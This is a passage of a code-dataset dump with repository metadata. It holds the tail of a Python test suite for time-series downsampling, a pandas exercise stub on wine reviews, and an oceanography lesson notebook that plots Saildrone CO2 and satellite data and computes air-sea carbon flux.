output\n        expected_results = {\n            ts_list[0]['tsuid']: [\n                [1e12, 5.5],\n                [1e12 + 10000, 8.0]\n            ]\n        }\n\n        result = None\n        try:\n            # Call algorithm\n            result = downsampling_ts(ts_list=ts_list,\n                                     resampling_period=10000, timestamp_position=\"BEG\", aggregation_method=\"MED\",\n                                     nb_points_by_chunk=50000, generate_metadata=True)\n\n            # Check the results\n            self._check_results(ts_list, result, expected_results)\n        finally:\n\n            # Cleanup\n            self._cleanup_ts(result)\n\n    def test_aggregation_first(self):\n        \"\"\"\n        Compute the downsampling on a single time series using FIRST aggregation\n        Check the time series is processed and result matches the aggregation method\n        \"\"\"\n\n        # Prepare inputs\n        ts_list = [gen_ts(1)]\n\n        # Prepare expected output\n        expected_results = {\n            ts_list[0]['tsuid']: [\n                [1e12, 5.0],\n                [1e12 + 10000, 8.0]\n            ]\n        }\n\n        result = None\n        try:\n            # Call algorithm\n            result = downsampling_ts(ts_list=ts_list,\n                                     resampling_period=10000, timestamp_position=\"BEG\", aggregation_method=\"FIRST\",\n                                     nb_points_by_chunk=50000, generate_metadata=True)\n\n            # Check the results\n            self._check_results(ts_list, result, expected_results)\n        finally:\n\n            # Cleanup\n            self._cleanup_ts(result)\n\n    def test_aggregation_last(self):\n        \"\"\"\n        Compute the downsampling on a single time series using LAST aggregation\n        Check the time series is processed and result matches the aggregation method\n        \"\"\"\n\n        # Prepare inputs\n        ts_list = [gen_ts(1)]\n\n        # Prepare expected output\n        expected_results = {\n            ts_list[0]['tsuid']: [\n                [1e12, 42.0],\n                [1e12 + 10000, 8.0]\n            ]\n        }\n\n        result = None\n        try:\n            # Call algorithm\n            result = downsampling_ts(ts_list=ts_list,\n                                     resampling_period=10000, timestamp_position=\"BEG\", aggregation_method=\"LAST\",\n                                     nb_points_by_chunk=50000, generate_metadata=True)\n\n            # Check the results\n            self._check_results(ts_list, result, expected_results)\n        finally:\n\n            # Cleanup\n            self._cleanup_ts(result)\n\n    def test_alignment_mid(self):\n        \"\"\"\n        Compute the downsampling on a single time series using MID alignment\n        Check the time series is processed and result matches the alignment method\n        \"\"\"\n\n        # Prepare inputs\n        ts_list = [gen_ts(1)]\n\n        # Prepare expected output\n        expected_results = {\n            ts_list[0]['tsuid']: [\n                [1e12 + 3000, 8.0],\n                [1e12 + 9000, 42.0],\n                [1e12 + 15000, 8.0]\n            ]\n        }\n\n        result = None\n        try:\n            # Call algorithm\n            result = downsampling_ts(ts_list=ts_list,\n                                     resampling_period=6000, timestamp_position=\"MID\", aggregation_method=\"MAX\",\n                                     nb_points_by_chunk=50000, generate_metadata=True)\n\n            # Check the results\n            self._check_results(ts_list, result, expected_results)\n        finally:\n\n            # Cleanup\n            self._cleanup_ts(result)\n\n    def test_alignment_end(self):\n        \"\"\"\n        Compute the downsampling on a single time series using END alignment\n        Check the time series is processed and result matches the alignment method\n        \"\"\"\n\n        # Prepare inputs\n        ts_list = [gen_ts(1)]\n\n        # Prepare expected output\n        expected_results = {\n            ts_list[0]['tsuid']: [\n                [1e12 + 6000, 8.0],\n                [1e12 + 12000, 42.0],\n                [1e12 + 18000, 8.0]\n            ]\n        }\n        result = None\n        try:\n            # Call algorithm\n            result = downsampling_ts(ts_list=ts_list,\n                                     resampling_period=6000, timestamp_position=\"END\", aggregation_method=\"MAX\",\n                                     nb_points_by_chunk=50000, generate_metadata=True)\n\n            # Check the results\n            self._check_results(ts_list, result, expected_results)\n\n        finally:\n            # Cleanup\n            self._cleanup_ts(result)\n\n    def test_multiple_ts(self):\n        \"\"\"\n        Compute the downsampling on multiple time series without any constraint\n        Check all time series are processed\n        \"\"\"\n\n        # Prepare inputs\n        ts_list = [gen_ts(1), gen_ts(2)]\n\n        # Prepare expected output\n        expected_results = {\n            ts_list[0]['tsuid']: [\n                [1e12, 5.5],\n                [1e12 + 2000, 7.0],\n                [1e12 + 4000, -6.5],\n                [1e12 + 6000, 4.5],\n                [1e12 + 8000, 22.0],\n                [1e12 + 10000, 8.0],\n                [1e12 + 12000, 8.0]\n            ],\n            ts_list[1]['tsuid']: [\n                [1e12, 5.5],\n                [1e12 + 2000, 7.0],\n                [1e12 + 4000, -6.5],\n                [1e12 + 6000, 4.5],\n                [1e12 + 8000, 3.5],\n                [1e12 + 12000, 10.0]\n            ]\n        }\n\n        result = None\n        try:\n            # Call algorithm\n            result = downsampling_ts(ts_list=ts_list,\n                                     resampling_period=2000, timestamp_position=\"BEG\", aggregation_method=\"AVG\",\n                                     nb_points_by_chunk=50000, generate_metadata=True)\n\n            # Check the results\n            self._check_results(ts_list, result, expected_results)\n\n        finally:\n            # Cleanup\n            self._cleanup_ts(result)\n\n    def test_multiple_chunks(self):\n        \"\"\"\n        Compute the downsampling on multiple time series having many points\n        Check the downsampling works with multiple chunks\n        \"\"\"\n\n        # Prepare inputs\n        ts_list = [gen_ts(1)]\n\n        # Prepare expected output\n        expected_results = {\n            ts_list[0]['tsuid']: [\n                [1e12, 5.5],\n                [1e12 + 2000, 7.0],\n                [1e12 + 4000, -6.5],\n                [1e12 + 6000, 4.5],\n                [1e12 + 8000, 22.0],\n                [1e12 + 10000, 8.0],\n                [1e12 + 12000, 8.0]\n            ]\n        }\n\n        result = None\n        try:\n            # Call algorithm\n            result = downsampling_ts(ts_list=ts_list,\n                                     resampling_period=2000, timestamp_position=\"BEG\", aggregation_method=\"AVG\",\n                                     nb_points_by_chunk=4, generate_metadata=True)\n\n            # Check the results\n            self._check_results(ts_list, result, expected_results)\n\n        finally:\n            # Cleanup\n            self._cleanup_ts(result)\n\n    def test_empty_chunks(self):\n        \"\"\"\n        Compute the downsampling on multiple time series having many points not evenly distributed\n        Check the downsampling works with empty chunks\n        \"\"\"\n\n        # Prepare inputs\n        ts_list = [gen_ts(3)]\n\n        # Prepare expected output\n        expected_results = {\n            ts_list[0]['tsuid']: [\n                [1e12, 5.5],\n                [1e12 + 2000, 7.0],\n                [1e12 + 100000, 7.0],\n                [1e12 + 102000, 7.5]\n            ]\n        }\n\n        result = None\n        try:\n            # Call algorithm\n            result = downsampling_ts(ts_list=ts_list,\n                                     resampling_period=2000, timestamp_position=\"BEG\", aggregation_method=\"AVG\",\n                                     nb_points_by_chunk=50000, generate_metadata=True)\n\n            # Check the results\n            self._check_results(ts_list, result, expected_results)\n\n        finally:\n            # Cleanup\n            self._cleanup_ts(result)\n\n    def test_single_point(self):\n        \"\"\"\n        Compute the downsampling on time series having 1 point\n        Check the new time series is the same as the original one\n        \"\"\"\n        # Prepare inputs\n        ts_list = [gen_ts(4)]\n\n        # Prepare expected output\n        expected_results = {\n            ts_list[0]['tsuid']: [\n                [1e12, 42.0]\n            ]\n        }\n\n        result = None\n        try:\n            # Call algorithm\n            result = downsampling_ts(ts_list=ts_list,\n                                     resampling_period=2000, timestamp_position=\"BEG\", aggregation_method=\"MAX\",\n                                     nb_points_by_chunk=50000, generate_metadata=True)\n\n            # Check the results\n            self._check_results(ts_list, result, expected_results)\n\n        finally:\n            # Cleanup\n            self._cleanup_ts(result)\n\n    def test_robustness_no_ts(self):\n        \"\"\"\n        No time series is provided\n        Check that the result is empty\n        \"\"\"\n\n        # Prepare inputs\n        ts_list = []\n\n        # Prepare expected output\n        expected_results = {}\n\n        result = None\n        try:\n            # Call algorithm\n            result = downsampling_ts(ts_list=ts_list,\n                                     resampling_period=2000, timestamp_position=\"BEG\", aggregation_method=\"AVG\",\n                                     nb_points_by_chunk=4, generate_metadata=True)\n\n            # Check the results\n            self._check_results(ts_list, result, expected_results)\n\n        finally:\n            # Cleanup\n            self._cleanup_ts(result)\n", "meta": {"hexsha": "f7bd3585caa4065a30d71ff73bd3546b2f1f5cdb", "size": 20731, "ext": "py", "lang": "Python", "max_stars_repo_path": "resampling/tests/test_downsampling.py", "max_stars_repo_name": "IKATS/op-resampling", "max_stars_repo_head_hexsha": "155d3a492d79cacdb05657296c6e83c08c1e43c8", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "resampling/tests/test_downsampling.py", "max_issues_repo_name": "IKATS/op-resampling", "max_issues_repo_head_hexsha": "155d3a492d79cacdb05657296c6e83c08c1e43c8", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "resampling/tests/test_downsampling.py", "max_forks_repo_name": "IKATS/op-resampling", "max_forks_repo_head_hexsha": "155d3a492d79cacdb05657296c6e83c08c1e43c8", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.6503816794, "max_line_length": 119, "alphanum_fraction": 0.5274709372, "include": true, "reason": "import numpy", "num_tokens": 4931, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.35936413143782797, "lm_q2_score": 0.14804720179063335, "lm_q1q2_score": 0.053202854083291805}}
{"text": "\"\"\"\nChecking Imported Data III - DataFrame Labels\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nwine_reviews = pd.read_csv('../winemag-data-130k.csv')\n\n\n# Access the labels on the rows of data.\n\n\n\n\n# Access the labels on the columns of data.\n\n\n\n# Return the labels for the rows and columns in wine_reviews in one command.\n\n\n", "meta": {"hexsha": "ae09e572e34f43b12173886001554e0441eaf4aa", "size": 322, "ext": "py", "lang": "Python", "max_stars_repo_path": "pset_pandas1_wine_reviews/check_imported_data/p3.py", "max_stars_repo_name": "mottaquikarim/pydev-psets", "max_stars_repo_head_hexsha": "9749e0d216ee0a5c586d0d3013ef481cc21dee27", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 5, "max_stars_repo_stars_event_min_datetime": "2019-04-08T20:05:37.000Z", "max_stars_repo_stars_event_max_datetime": "2019-12-04T20:48:45.000Z", "max_issues_repo_path": "pset_pandas1_wine_reviews/check_imported_data/p3.py", "max_issues_repo_name": "mottaquikarim/pydev-psets", "max_issues_repo_head_hexsha": "9749e0d216ee0a5c586d0d3013ef481cc21dee27", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 8, "max_issues_repo_issues_event_min_datetime": "2019-04-15T15:16:05.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-12T10:33:32.000Z", "max_forks_repo_path": "pset_pandas1_wine_reviews/check_imported_data/p3.py", "max_forks_repo_name": "mottaquikarim/pydev-psets", "max_forks_repo_head_hexsha": "9749e0d216ee0a5c586d0d3013ef481cc21dee27", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2019-04-10T00:14:42.000Z", "max_forks_repo_forks_event_max_datetime": "2020-02-26T20:35:21.000Z", "avg_line_length": 14.6363636364, "max_line_length": 76, "alphanum_fraction": 0.7236024845, "include": true, "reason": "import numpy", "num_tokens": 72, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.373875808818685, "lm_q2_score": 0.14223189682786758, "lm_q1q2_score": 0.053177065466334744}}
{"text": "# ---\n# jupyter:\n#   jupytext:\n#     formats: ipynb,py:light\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.5'\n#       jupytext_version: 1.11.3\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n# ---\n\n# # 2021 Oceanography Camp for Girls Saildrone Lesson\n# Developed by Nancy Williams, Veronica Tamsitt, Nicola Guisewhite at University of South Florida College of Marine Science\n\n# ## To Do List:\n# * remove all fronts except SAF and SBDY for simplicity\n# * make a function for plotting instead of copy/pasting the map each time (or not, if we want to keep it simple)\n# * add more markdown in the form of instructions, pictures, pulling variables out into their own cell so girls know where they can make changes to the code\n# * in figure titles and filenames, change the variables from using the first four characters (currently var[:4]) to instead cutting off at the first underscore\n# * try plotting previous 8-day chl-a snapshot to see if it has better coverage for the eddy crossing\n# * edit to make it easy to adjust time series x-axis limits\n# * Check Veronica's carbon flux calculation is correct (Nancy)\n\n\n# ## Data Sources:\n# * (too big for Binder so had to remove it) Saildrone 1-minute physical and ADCP data available from: https://data.saildrone.com/data/sets/antarctica-circumnavigation-2019\n# (login required, so cannot be accessed using an FTP. Will need to download ahead)\n# * Saildrone hourly-ish CO2, pH, and physical data available from: https://www.ncei.noaa.gov/access/metadata/landing-page/bin/iso?id=gov.noaa.nodc:0221912\n# * Satellite Chlorophyll: https://neo.sci.gsfc.nasa.gov/view.php?datasetId=MY1DMW_CHLORA&year=2019\n# * SSH: https://cds.climate.copernicus.eu/cdsapp#!/dataset/satellite-sea-level-global?tab=overview \n# (login required for chla and SSH, download ahead of time. Can also be downloaded using motuclient, login also required https://github.com/clstoulouse/motu-client-python)\n\n# +\n# Import the tools you need\nimport os\nimport numpy as np\nimport pandas as pd\nimport datetime as dt\nimport xarray as xr\nimport matplotlib.pyplot as plt\nimport matplotlib.path as mpath\nimport cartopy.crs as ccrs\nimport cartopy.feature\nfrom datetime import datetime\n\n# add something\n# -\n\n# Set the paths\noutput_dir = 'Output/'\ndata_dir = 'Data/'\n\n# Go and download the hourly Saildrone CO2 data and put it in the `Data/` folder\nos.chdir(data_dir) # Change the directory to the `Data/` folder\nos.getcwd() # Check that you're now in the `Data/` folder\n# Curl downloads the data files directly from the web and shows you the status while it works. \n# `!` at the beginning of the line tells you that this command is a unix shell command (not python code)\n# ! curl -o 32DB20190119_ASV_Saildrone1020_Antarctic_Jan2019_Aug2019.csv https://www.ncei.noaa.gov/data/oceans/ncei/ocads/data/0221912/32DB20190119_ASV_Saildrone1020_Antarctic_Jan2019_Aug2019.csv\nos.chdir(\"..\") # Use \"..\" to move back up one directory now that we've imported the MLD climatology data\n\n# Import the hourly Saildrone CO2 data file\nSaildrone_CO2 = pd.read_csv(\n    (data_dir + '32DB20190119_ASV_Saildrone1020_Antarctic_Jan2019_Aug2019.csv'),\n    header=4,\n    na_values=-999,\n)\n\n# Create a datetime object\nSaildrone_CO2['datetime'] = pd.to_datetime(Saildrone_CO2['Date'] + ' ' + Saildrone_CO2['Time'])\n# Check that the Saildrone data was imported correctly\nSaildrone_CO2\n\n# Import the Southern Ocean fronts for mapping\nstf = pd.read_csv(data_dir + 'fronts/stf.txt', header=None, sep='\\s+', \n                  na_values='%', names=['lon','lat'])\nsaf = pd.read_csv(data_dir + 'fronts/saf.txt', header=None, sep='\\s+', \n                  na_values='%', names=['lon','lat'])\npf = pd.read_csv(data_dir + 'fronts/pf.txt', header=None, sep='\\s+', \n                 na_values='%', names=['lon','lat'])\nsaccf = pd.read_csv(data_dir + 'fronts/saccf.txt', header=None, sep='\\s+', \n                    na_values='%', names=['lon','lat'])\nsbdy = pd.read_csv(data_dir + 'fronts/sbdy.txt', header=None, sep='\\s+', \n                   na_values='%', names=['lon','lat'])\n\n# +\n# Plot the Saildrone track on a map\n\n# Make the \"bones\" of the figure\nplt.figure(figsize=(10, 10))\nax = plt.axes(projection=ccrs.SouthPolarStereo())\nax.set_extent([-180, 180, -90, -30],ccrs.PlateCarree())\nax.add_feature(cartopy.feature.LAND)\nax.add_feature(cartopy.feature.OCEAN, color='lightblue')\nax.gridlines()\n\n# Compute a circle in axes coordinates, which we can use as a boundary\n# for the map. We can pan/zoom as much as we like - the boundary will be\n# permanently circular.\ntheta = np.linspace(0, 2 * np.pi, 100)\ncenter, radius = [0.5, 0.5], 0.5\nverts = np.vstack([np.sin(theta), np.cos(theta)]).T\ncircle = mpath.Path(verts * radius + center)\n\n# Plot the ACC fronts in various colors\nax.set_boundary(circle, transform=ax.transAxes)\nplt.plot(stf['lon'], stf['lat'], color='Red', transform=ccrs.PlateCarree(), \n         label = 'Subtropical Front')\nplt.plot(saf['lon'], saf['lat'], color='Orange', transform=ccrs.PlateCarree(), \n         label = 'Subantarctic Front')\nplt.plot(pf['lon'], pf['lat'], color='Yellow', transform=ccrs.PlateCarree(), \n         label = 'Polar Front')\nplt.plot(saccf['lon'], saccf['lat'], color='Green', transform=ccrs.PlateCarree(), \n         label = 'Southern ACC Front')\nplt.plot(sbdy['lon'], sbdy['lat'], color='Blue', transform=ccrs.PlateCarree(), \n         label = 'Southern Boundary of ACC')\n\n# Plot the Saildrone in black dots\nplt.scatter(Saildrone_CO2.Longitude, Saildrone_CO2.Latitude,\n           transform=ccrs.PlateCarree(), c='black', s=3, label='Saildrone', zorder=1000)\n\n# Turn on the legend\nplt.legend()\n\n# Save the figure in the output folder\nplt.title('2019 Saildrone Antarctic Circumnavigation Track')\nplt.savefig(output_dir + 'SaildroneMap' + '.jpg') # Changing the suffix will change the format\nplt.show()\n\n# +\n# Now plot some variable \"var\" on the map with colored dots\nvar = 'SST (C)'\n\n# Make the \"bones\" of the figure\nplt.figure(figsize=(10, 10))\nax = plt.axes(projection=ccrs.SouthPolarStereo())\nax.set_extent([-180, 180, -90, -30],ccrs.PlateCarree())\nax.add_feature(cartopy.feature.LAND)\nax.add_feature(cartopy.feature.OCEAN, color='lightblue')\nax.gridlines()\n\n# Compute a circle in axes coordinates, which we can use as a boundary\n# for the map. We can pan/zoom as much as we like - the boundary will be\n# permanently circular.\ntheta = np.linspace(0, 2 * np.pi, 100)\ncenter, radius = [0.5, 0.5], 0.5\nverts = np.vstack([np.sin(theta), np.cos(theta)]).T\ncircle = mpath.Path(verts * radius + center)\n\n# Plot the ACC fronts in various colors\nax.set_boundary(circle, transform=ax.transAxes)\nplt.plot(stf['lon'], stf['lat'], color='Red', transform=ccrs.PlateCarree(), \n         label = 'Subtropical Front')\nplt.plot(saf['lon'], saf['lat'], color='Orange', transform=ccrs.PlateCarree(), \n         label = 'Subantarctic Front')\nplt.plot(pf['lon'], pf['lat'], color='Yellow', transform=ccrs.PlateCarree(), \n         label = 'Polar Front')\nplt.plot(saccf['lon'], saccf['lat'], color='Green', transform=ccrs.PlateCarree(), \n         label = 'Southern ACC Front')\nplt.plot(sbdy['lon'], sbdy['lat'], color='Blue', transform=ccrs.PlateCarree(), \n         label = 'Southern Boundary of ACC')\n\n# Plot the Saildrone in black dots\nplt.scatter(Saildrone_CO2.Longitude, Saildrone_CO2.Latitude, \n            c=Saildrone_CO2[var], cmap='bwr',\n            transform=ccrs.PlateCarree(), s=5, zorder=1000)\n\n# Turn on the legend\nplt.legend()\ncb1 = plt.colorbar()\n\n# Save the figure in the output folder\nplt.title('2019 Saildrone ' + var[:4])\nplt.savefig(output_dir + var[:4] + 'SaildroneMap' + '.jpg') # Changing the suffix will change the format\nplt.show()\n# -\n\n# Now let's make a map of some satellite data to show the Saildrone crossing an ocean eddy.\n#\n# First we need to load in a single daily satellite sea surface height data file from Feb 10th 2019, the day the Saildrone crossed a large eddy.\n\nsatellite_ssh = xr.open_dataset(data_dir + 'ssh_2019_02_10.nc')\n\n# Now plot the Saildrone path on a map of sea surface height for a region surrounding the Saildrone on Feb 10th\n\n#set plot parameters (contour levels, colormap etc)\nlevels_1 = np.arange(-1.2,0.8,0.1) #contour levels\ncmap_1 = 'viridis' #contour map colormap\nc1 = 'black' #Saildrone track color\n\n# +\n#finding position of Saildrone on Feb 10\ntime_index = np.where(Saildrone_CO2['Date']=='02/10/2019')\ntlon = Saildrone_CO2.Longitude.values[time_index]\ntlat = Saildrone_CO2.Latitude.values[time_index]\n\n#make a contour plot of satellite ssh\nxr.plot.contourf(satellite_ssh.adt[0,:,:],levels=levels_1,cmap=cmap_1,size=8,aspect=2)\nxr.plot.contour(satellite_ssh.adt[0,:,:],levels=levels_1,colors='k',linewidths=0.75)\nplt.xlim(tlon.min()+360-5,tlon.max()+360+5)\nplt.ylim(tlat.min()-5,tlat.max()+5)\n\n#add Saildrone track\nplt.scatter(Saildrone_CO2.Longitude+360, Saildrone_CO2.Latitude, c=c1, s=3, label='Saildrone', zorder=1000)\nplt.legend()\n\n#give the plot a title and save figure in the output folder\nplt.title('Saildrone path across an eddy on Feb 10th')\nplt.savefig(output_dir + 'Sea_surface_height_Saildrone_Feb10' + '.jpg')\n\n# -\n\n# Ocean eddies can be identified by closed rings of constant absolute dynamic topography (this is the anomaly in sea surface height from average sea level in meters, which represents changes in pressure). You can see the Saildrone's path crossing near the center of an eddy.\n#\n# We can do the same thing with satellite chlorophyll-a data. The chlorophyll-a data gives an approximate estimate of the relative phytoplankton biomass (in units of mg/m<sup>3</sup>) at the sea surface in different locations. \n\n#load satellite chl-a data file\nsatellite_chla = xr.open_dataset(data_dir + 'A20190412019048.L3m_8D_CHL_chlor_a_4km.nc')\n\n# Here you can edit parameters (colors, range etc) for the map\n\n#set plot parameters (contour levels, colormap etc)\nlevels_1 = np.arange(0,1.0,0.01) #contour levels\ncmap_1 = 'YlGnBu' #contour map colormap\nc1 = 'black' #Saildrone track color\n\n# +\n#make a contour plot of chl-a data \nsatellite_chla.chlo_a.values[satellite_chla.chlo_a>1000] = np.nan\nxr.plot.contourf(satellite_chla.chlo_a, levels = levels_1, cmap=cmap_1,size=8,aspect=2)\nplt.xlim(tlon.min()-5,tlon.max()+5)\nplt.ylim(tlat.min()-5,tlat.max()+5)\n\n#add Saildrone track\nplt.scatter(Saildrone_CO2.Longitude, Saildrone_CO2.Latitude, c=c1, s=3, label='Saildrone', zorder=1000)\nplt.legend()\n\n#save figure\nplt.title('Saildrone path and chlorophyll-a concentration')\nplt.savefig(output_dir + 'Sea_surface_chlorophylla_Saildrone_Feb10' + '.jpg')\n# -\n\n# Now we can add the Saildrone data observations on the map to start to see if there is a relationship between the satellite observations and what the Saildrone measured directly. Note that the Saildrone took a few days to cross this region, while the satellite data shown here is a snapshot for a single day, so it can be tricky to compare the two types of data because the Saildrone is moving in space AND time.\n\n#choose which variable to plot\nvar = 'SST (C)'\n#set minimum and maximum colorbar limits\nv_min = 6\nv_max = 12\n#choose colormap for map\ncmap_1 = 'viridis'\n#choose colormap for Saildrone variable\ncmap_2 = 'RdBu_r'\n\n# +\n#make a contour plot of satellite ssh\nxr.plot.contourf(satellite_ssh.adt[0,:,:],levels=np.arange(-1.2,0.8,0.1),cmap=cmap_1,size=8,aspect=2)\nxr.plot.contour(satellite_ssh.adt[0,:,:],levels=np.arange(-1.2,0.8,0.1),colors='black',linewidths=0.75)\nplt.xlim(tlon.min()+360-5,tlon.max()+360+5)\nplt.ylim(tlat.min()-5,tlat.max()+5)\n\n#add Saildrone data scattered on top\nplt.scatter(Saildrone_CO2.Longitude+360, Saildrone_CO2.Latitude, c=Saildrone_CO2[var], s=15, cmap = cmap_2,\n            vmin=v_min,vmax=v_max,label='Saildrone', zorder=1000)\nplt.legend()\nplt.colorbar()\n\n#add title and save figure\nplt.title('Saildrone ' + var[:4] + ' across an eddy on Feb 10th')\nplt.savefig(output_dir + 'Sea_surface_height_Saildrone_' + var[:4] + '_Feb10' + '.jpg')\n# -\n\n# Now that we've plotted some Saildrone and satellite data on maps to see how different ocean variables are related, there are other ways we can look at the relationship between variables. \n#\n# This includes scatter plots, which is a useful way to compare data from two variables collected at the same time and location to look for a relationship. In our case, we can compare two different variables collected simulatneously by the Saildrone. \n\n# +\n#choose two variables from the Saildrone to compare\nvar1 = 'SST (C)'\nvar2 = 'pCO2 SW (sat) uatm'\n\n#choose lower and upper limits for the two variables for plotting\nvar1_min = -2\nvar1_max = 18\n#var2_min = 98\n#var2_max = 102\n\n# +\n#create scatter plot\nplt.figure(figsize=(12,8))\nplt.scatter(Saildrone_CO2[var1], Saildrone_CO2[var2], s=10)\nplt.xlim(var1_min,var1_max)\n#plt.ylim(var2_min,var2_max)\nplt.xlabel(var1)\nplt.ylabel(var2)\nplt.grid()\n\n#add title and save figure\nplt.title('Saildrone '+ var1[:4] + ' vs ' + var2[:4])\nplt.savefig(output_dir + 'Saildrone_' + var1[:4] + '_vs_' + var2[:4] + '.jpg')\n# -\n\n# If we want to look at the relationship between more than two variables, one way we can look at this is by using a third variable to change the color of the scatter plot points.\n#\n# In this example, the scatter plot shows the same variable 1 and 2 from the Saildrone on the x and y axes as above, but we can choose a third Saildrone variable as the color of the scatter plot points.\n\n# +\n#choose a third variable \nvar3 = 'Latitude'\n\n#set lower and upper limits of variable 3 for plotting\nvar3_min = -65\nvar3_max = -40\n\n# +\n#create scatter plot\nplt.figure(figsize=(12,8))\nplt.scatter(Saildrone_CO2[var1], Saildrone_CO2[var2], c=Saildrone_CO2[var3], \n            s=10, vmin = var3_min, vmax = var3_max)\nplt.xlim(var1_min,var1_max)\n#plt.ylim(var2_min,var2_max)\nplt.xlabel(var1)\nplt.ylabel(var2)\nplt.grid()\ncbar = plt.colorbar()\ncbar.set_label(var3)\n\n#add title and save figure\nplt.title('Saildrone '+ var1[:4] + ' vs ' + var2[:4])\nplt.savefig(output_dir + 'Saildrone_' + var1[:4] + '_vs_' + var2[:4] + '_vs_' + var3[:4] + '.jpg')\n# -\n\n# Plot time series of wind speed and pressure\n\n# +\n#input plot parameters\n\n#variables to plot\nvar1 = 'WSPD (m/s)'\nvar2 = 'Licor Atm Pressure (hPa)'\n\n#set x axis limits\n\n# +\n#plot time series\nplt.figure(figsize=(12,5))\nax1 = plt.subplot(211)\nax1.plot(Saildrone_CO2.datetime,Saildrone_CO2[var1])\nplt.xlim(Saildrone_CO2.datetime.values[0],Saildrone_CO2.datetime.values[-1])\n\nax2 = plt.subplot(212)\nax2.plot(Saildrone_CO2.datetime,Saildrone_CO2[var2])\nplt.xlim(Saildrone_CO2.datetime.values[0],Saildrone_CO2.datetime.values[-1])\nplt.show()\n# -\n# Next, we can calculate the flux of carbon between the ocean and the atmosphere based on the difference in pCO2 between the atmosphere and the ocean. \n\n\n# +\n#constants for CO2 flux calculation\n#ocean/atmosphere variables needed as inputs\nT = Saildrone_CO2['SST (C)'] #sea surface temperature\nS  = Saildrone_CO2['Salinity'] #sea surface salinity\nu = Saildrone_CO2['WSPD (m/s)'] #surface wind speed\ndpCO2 = Saildrone_CO2['dpCO2'] #difference between ocean and atmosphere pCO2\n\n#1. Calculate the transfer velocity (Wanninkhof et al. 2014)\n#Schmidt number as a function of temperature \nSc = 2116.8-136.25*T  + 4.7353*np.power(T,2) - 0.092307*np.power(T,3) + 0.000755*np.power(T,4)\nK = 0.251*(u*u)*np.power((Sc/660),-0.5)\nK = K\n\n#2. calculate solubility constant as a function of temperature and salinity \nT_K = T + 273.15\nK0 = -58.0931 + ( 90.5069*(100.0 /T_K) ) \\\n    + (22.2940 * (np.log(T_K/100.0))) + (S * (0.027766 +  ( (-0.025888)*(T_K/100.0)) \\\n    + (0.0050578*( (T_K/100.0)*(T_K/100.0) ) ) ) )\na = np.exp(K0)\n\n#CO2 flux equation\nSaildrone_CO2['FCO2'] = 0.24 * K * a * dpCO2  #FCO2 = K*a(dpCO2)\n# -\n\n# Let's plot the time series of carbon fluxes together with the time series of wind speed to see how they are related. Sign of FCO2?\n\n# +\n#variables to plot\nvar1 = 'WSPD (m/s)'\nvar2 = 'FCO2'\n\n#colors\nc1 = 'darkblue'\nc2 = 'darkorange'\n\n# +\n#plot time series\nfig, ax1 = plt.subplots(figsize=(12,5))\n\n#y axis 1\nax1.plot(Saildrone_CO2['datetime'],Saildrone_CO2[var1],color=c1)\nax1.set_xlabel('date')\nax1.set_ylabel(var1, color=c1)\nax1.tick_params(axis='y', labelcolor=c1)\n\n#y axis 2\nax2 = ax1.twinx()\nax2.plot(Saildrone_CO2['datetime'],-Saildrone_CO2[var2],color=c2)\nax2.set_xlabel('date')\nax2.set_ylabel(var2, color=c2)\nax2.tick_params(axis='y', labelcolor=c2)\n\nax2.plot([Saildrone_CO2['datetime'].values[0], Saildrone_CO2['datetime'].values[-1]],[0,0],\n         color='black', linewidth=0.5)\nplt.xlim(Saildrone_CO2['datetime'][0],Saildrone_CO2['datetime'][1800])\nfig.tight_layout()\nplt.show()\n# -\n\n\n", "meta": {"hexsha": "5167caf1e1bfdedc5dde5481df3ca60c5d111f53", "size": 16611, "ext": "py", "lang": "Python", "max_stars_repo_path": "OCG_Saildrone_Lesson_Notebook.py", "max_stars_repo_name": "scottyhq/OCG_Saildrone", "max_stars_repo_head_hexsha": "f4d11a79d8c9c14bd54218ed9d2803c05c6c43ea", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "OCG_Saildrone_Lesson_Notebook.py", "max_issues_repo_name": "scottyhq/OCG_Saildrone", "max_issues_repo_head_hexsha": "f4d11a79d8c9c14bd54218ed9d2803c05c6c43ea", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "OCG_Saildrone_Lesson_Notebook.py", "max_forks_repo_name": "scottyhq/OCG_Saildrone", "max_forks_repo_head_hexsha": "f4d11a79d8c9c14bd54218ed9d2803c05c6c43ea", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 39.2695035461, "max_line_length": 413, "alphanum_fraction": 0.7218108482, "include": true, "reason": "import numpy", "num_tokens": 5027, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4339814648038986, "lm_q2_score": 0.12252321091611636, "lm_q1q2_score": 0.053172802545853194}}
